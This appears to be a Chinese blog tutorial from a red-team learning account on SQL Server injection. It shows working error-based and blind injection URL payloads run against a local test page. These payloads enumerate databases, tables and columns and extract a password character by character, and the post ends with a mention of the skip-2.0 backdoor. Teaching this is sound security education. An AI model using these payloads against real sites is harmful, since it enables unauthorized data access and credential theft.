目录
0x01 SQL server基础
0x02 基本注入
SQL server部分版本已被黑客安装后门,详情请在文末查看。
0x01 SQL server基础
在学习注入之前,最重要的是要先了解SQL server的具体的东西,才能更好的进行注入操作
系统库
master
master数据库控制SQLserver的所有方面,这个数据库中包含所有的配置信息、用户登陆信息、当前正在服务器运行中的过程的信息
model
model数据库是建立所有数据库时的模板,当你建立一个新数据库时,SQL server会把model数据库中的所有对象建立一份拷贝并移到新数据库中,在模板对象被拷贝到新的用户数据库之后,该数据库的所有多余空间都将被页面填满
tempdb
tempdb数据库是一个非常特殊的数据库,供所有来访问SQL server的用户使用,这个库用来保存所有的临时表、存储过程和其他SQLserver建立的临时用的东西,例如,排序时要用到tempdb数据库,数据被放进tempdb数据库,排完序后再把结果返回给用户。每次SQL server重新启动,它都会清空tempdb数据库并重建,永远不要在tempdb数据库建立需要永久保存的表
msdb
msdb数据库是SQLserver中的一个特例,如果你查看这个数据库的实际定义,会发现它其实是一个用户数据库,不同之处是SQLserver拿这个数据库用来做什么,所有的任务调度、报警、操作员都存储在msdb数据库中,该库的另一个功能是用来存储所有备份历史,SQL server agent将会使用这个库
information_schema
information_schema是在SQL server2000及更高版本存在的,可以检索数据库中的对象的元数据,与MySQL中的有相同的功能,它是符合ISO标准的,与sys不同,sys是微软自己搞出来的东西
注释方法
C语言注释风格 /*
SQL注释风格 --
空字节 ;%00
0x02 基本注入
首先我们先访问注入网址
这里我们模拟的SQL语句是这样的
这里我们就先用1=1和1=2来做一个简单的判断
![44f511db7ceabcd0d157093722c9373b.png](https://img-blog.csdnimg.cn/img_convert/44f511db7ceabcd0d157093722c9373b.png)
然后我们来尝试一下查看数据库版本
通过使用报错的方式将我们想要的值给带出来
http://127.0.0.1/index.php?id=1%20and%201=(select%20@@version)
![5eab3fa7933a55854d989a3c85de5c59.png](https://img-blog.csdnimg.cn/img_convert/5eab3fa7933a55854d989a3c85de5c59.png)
使用db_name()
来查看数据库名
http://127.0.0.1/index.php?id=1%20and%201=(select%20db_name())
![258b9e6b7a7326be73771cb8be9d7e97.png](https://img-blog.csdnimg.cn/img_convert/258b9e6b7a7326be73771cb8be9d7e97.png)
等等可以获取到一些我们所需要的信息
接下来使用having
字句来获取当前数据库的表名和列名
http://127.0.0.1 /index.php?id=1%20having%201=1
![fd109a2d3890aed82f86cf3c594bc39a.png](https://img-blog.csdnimg.cn/img_convert/fd109a2d3890aed82f86cf3c594bc39a.png)
然后我们继续使用上一个所得到的值来递归获取所有的名
http://127.0.0.1/index.php?id=1%20group%20by%20test.id%20having%201=1
![f3cf054bcf97fc1f87e8356ed5d2609c.png](https://img-blog.csdnimg.cn/img_convert/f3cf054bcf97fc1f87e8356ed5d2609c.png)
http://127.0.0.1/index.php?id=1%20group%20by%20test.id,test.name%20having%201=1
![9237a62cecdad0b2690a2ba537eefb41.png](https://img-blog.csdnimg.cn/img_convert/9237a62cecdad0b2690a2ba537eefb41.png)
http://127.0.0.1/index.php?id=1%20group%20by%20test.id,test.name,test.password%20having%201=1
![70ef295a9b7b0e97424213a8e1ccfb21.png](https://img-blog.csdnimg.cn/img_convert/70ef295a9b7b0e97424213a8e1ccfb21.png)
通过上面这样的方法,我们就已经得到了当前使用的数据库为test
,其中的列有id
、name
、password
然后我们注入password的数据
http://127.0.0.1/index.php?id=1%20and%20(select%20top%20%201%20%20unicode(substring(password,1,1))%20from%20test)%3E=49
![c2099b73e06793366ac6ad4196253f1f.png](https://img-blog.csdnimg.cn/img_convert/c2099b73e06793366ac6ad4196253f1f.png)
http://127.0.0.1/index.php?id=1%20and%20(select%20top%20%201%20%20unicode(substring(password,1,1))%20from%20test)%3E=50
![cff680f2e9e0b2e10d077e6e94b37d32.png](https://img-blog.csdnimg.cn/img_convert/cff680f2e9e0b2e10d077e6e94b37d32.png)
可以知道第一个为字符1
然后继续猜解第二个字符
http://127.0.0.1/index.php?id=1%20and%20(select%20top%20%201%20%20unicode(substring(password,2,1))%20from%20test)%3E=50
![4d94550910014729ecda900c3a2139af.png](https://img-blog.csdnimg.cn/img_convert/4d94550910014729ecda900c3a2139af.png)
http://127.0.0.1/index.php?id=1%20and%20(select%20top%20%201%20%20unicode(substring(password,2,1))%20from%20test)%3E=51
![32d623b7f6c242bdbc50fcb8769c48fa.png](https://img-blog.csdnimg.cn/img_convert/32d623b7f6c242bdbc50fcb8769c48fa.png)
可以得到第二个字符为2
依此类推得到最终的结果为123456
我们还可以通过注入获取到其他的数据库名称
http://127.0.0.1/index.php?id=1%20and%20%201=(select%20top%201%20name%20%20from%20%20master..sysdatabases)
![9a67958aa34f0505506abd1c2cc0056c.png](https://img-blog.csdnimg.cn/img_convert/9a67958aa34f0505506abd1c2cc0056c.png)
但是由于只能输出一个字段的内容,所以这里使用where
语句的not in
来进行获取
http://127.0.0.1/index.php?id=1%20and%20%201=(select%20top%201%20name%20%20from%20%20master..sysdatabases%20where%20%20name%20%20not%20%20in%20%20('master'))
![ad15b7d447efae24073e2ddac731010c.png](https://img-blog.csdnimg.cn/img_convert/ad15b7d447efae24073e2ddac731010c.png)
得到了第二个数据库model。然后通过这样的方式继续往后遍历
http://127.0.0.1/index.php?id=1%20and%20%201=(select%20top%201%20name%20%20from%20%20master..sysdatabases%20where%20%20name%20%20not%20%20in%20%20('master','model'))
![288a4154a0cc112bb8f1448aed61cea6.png](https://img-blog.csdnimg.cn/img_convert/288a4154a0cc112bb8f1448aed61cea6.png)
继续遍历就可以了
http://127.0.0.1/index.php?id=1%20and%20%201=(select%20top%201%20name%20%20from%20%20master..sysdatabases%20where%20%20name%20%20not%20%20in%20%20('master','model','msdb'))
![0f56d165eb27472a917f8f426077d6b8.png](https://img-blog.csdnimg.cn/img_convert/0f56d165eb27472a917f8f426077d6b8.png)
在得到数据库test之后,我们使用information.schema
来获取数据表
http://127.0.0.1/index.php?id=1%20and%201=(select%20top%201%20table_name%20from%20test.information_schema.tables)
![10b43b1a976a34b1272a69bcd4c1af0f.png](https://img-blog.csdnimg.cn/img_convert/10b43b1a976a34b1272a69bcd4c1af0f.png)
这里我们只有一个表,如果有多个表的话,可以通过之前not in的方法来进行获取
到这里我们就已经知道了数据库为test,数据表也为test
接下来该获取字段了
http://127.0.0.1/index.php?id=1%20and%201=(select%20top%201%20column_name%20from%20test.information_schema.columns%20where%20table_name%20=%20'test')
![cf21293af1cd7d06ce10af1a90a2361b.png](https://img-blog.csdnimg.cn/img_convert/cf21293af1cd7d06ce10af1a90a2361b.png)
然后同样使用not in的方法可以遍历得到所有的列名
http://127.0.0.1/index.php?id=1%20and%201=(select%20top%201%20column_name%20from%20test.information_schema.columns%20where%20table_name%20=%20'test'%20and%20column_name%20not%20in%20('id'))
![09763640f90d2873a663919496816d8a.png](https://img-blog.csdnimg.cn/img_convert/09763640f90d2873a663919496816d8a.png)
之后获取数据就跟之前的方法是一样的了
这篇文章只是一个简单的开头,至于更多的内容还需要大家来看,最后再给大家提一下刚爆出来的一个上游攻击的事件,SQL server部分版本已经被黑客组织植入后门程序skip-2.0,在安装了中招的SQL server之后,可以允许黑客不进行身份验证而直接进行登陆。
![52dc5c11dd5707c0292292d0ecba3657.png](https://img-blog.csdnimg.cn/img_convert/52dc5c11dd5707c0292292d0ecba3657.png)
![c757b974307e3a0b128232b4258c5f12.png](https://img-blog.csdnimg.cn/img_convert/c757b974307e3a0b128232b4258c5f12.png)
可以去FreeBuf了解其他详情
https://www.freebuf.com/news/217738.html
文章首发公众号:无心的梦呓(wuxinmengyi)
这是一个记录红队学习、信安笔记,个人成长的公众号
扫码关注即可
![cff2c440d0c6efe6004806c6025e1920.png](https://img-blog.csdnimg.cn/img_convert/cff2c440d0c6efe6004806c6025e1920.png)